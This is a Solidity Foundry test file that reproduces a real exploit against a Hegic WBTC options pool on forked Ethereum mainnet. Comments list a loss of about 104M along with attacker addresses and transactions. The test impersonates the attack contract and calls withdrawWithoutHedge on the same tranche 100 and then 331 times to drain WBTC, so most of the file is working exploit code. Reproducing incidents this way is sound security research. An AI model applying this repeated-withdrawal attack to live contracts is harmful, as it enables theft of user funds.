src/test/2025-02/HegicOptions_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~104M
8// Attacker : https://etherscan.io/address/0x4B53608fF0cE42cDF9Cf01D7d024C2c9ea1aA2e8
9// Attack Contract : https://etherscan.io/address/0xF51E888616a123875EAf7AFd4417fbc4111750f7
10// Vulnerable Contract : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B
11// Attack Tx 1: 0x260d5eb9151c565efda80466de2e7eee9c6bd4973d54ff68c8e045a26f62ea73
12// Attack Tx 2: 0x444854ee7e7570f146b64aa8a557ede82f326232e793873f0bbd04275fa7e54c
13 
14 
15// @Info
16// Vulnerable Contract Code : https://etherscan.io/address/0x7094E706E75E13D1E0ea237f71A7C4511e9d270B#code
17 
18// @Analysis
19// Post-mortem : 
20// Twitter Guy : 
21pragma solidity ^0.8.0;
22 
23contract HegicOptions is Test {
24    uint256 blocknumToForkFrom1 = 21912408;
25    uint256 blocknumToForkFrom2 = 21912423;
26    address constant victim_contract_address = 0x7094E706E75E13D1E0ea237f71A7C4511e9d270B;
27    address constant attacker_address = 0xF51E888616a123875EAf7AFd4417fbc4111750f7;
28    address constant wbtc_address = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
29 
30    IHegic_WBTC_ATM_Puts_Pool Hegic_WBTC_ATM_Puts_Pool;
31    IERC20 WBTC;
32 
33    function setUp() public {
34        WBTC = IERC20(wbtc_address);
35        Hegic_WBTC_ATM_Puts_Pool = IHegic_WBTC_ATM_Puts_Pool(victim_contract_address);
36    }
37 
38    function testExploit() public {
39        // The attacker initially deposited 0.0025 WBTC into the victim contract. 
40        // Tx: 0x9c27d45c1daa943ce0b92a70ba5efa6ab34409b14b568146d2853c1ddaf14f82
41 
42        vm.startPrank(attacker_address, attacker_address);
43        
44        // Attack Tx 1
45        vm.createSelectFork("mainnet", blocknumToForkFrom1);
46        emit log_named_decimal_uint("[Begin] Attacker WBTC before Tx1", WBTC.balanceOf(attacker_address), 8);
47        for (uint256 i = 0; i < 100; i++){
48            Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);
49        }
50        emit log_named_decimal_uint("[End] Attacker WBTC after Tx1", WBTC.balanceOf(attacker_address), 8);
51 
52        // Between tx1 and tx2, the attacker had already withdraw the stolen WBTC from the attack contract. 
53        // Tx: 0x722f67f6f9536fa6bbf4af447250e84b8b9270b66195059c9904a0e249543e80
54        
55        // Attack Tx 2
56        vm.createSelectFork("mainnet", blocknumToForkFrom2);
57        emit log_named_decimal_uint("[Begin] Attacker WBTC before Tx2", WBTC.balanceOf(attacker_address), 8);
58        for (uint256 i = 0; i < 331; i++){
59            Hegic_WBTC_ATM_Puts_Pool.withdrawWithoutHedge(2);
60        }
61        emit log_named_decimal_uint("[End] Attacker WBTC after Tx2", WBTC.balanceOf(attacker_address), 8);
62        
63        vm.stopPrank();
64    }
65}
66 
67interface IHegic_WBTC_ATM_Puts_Pool {
68    function withdrawWithoutHedge(uint256 trancheID) external returns (uint256 amount);
69}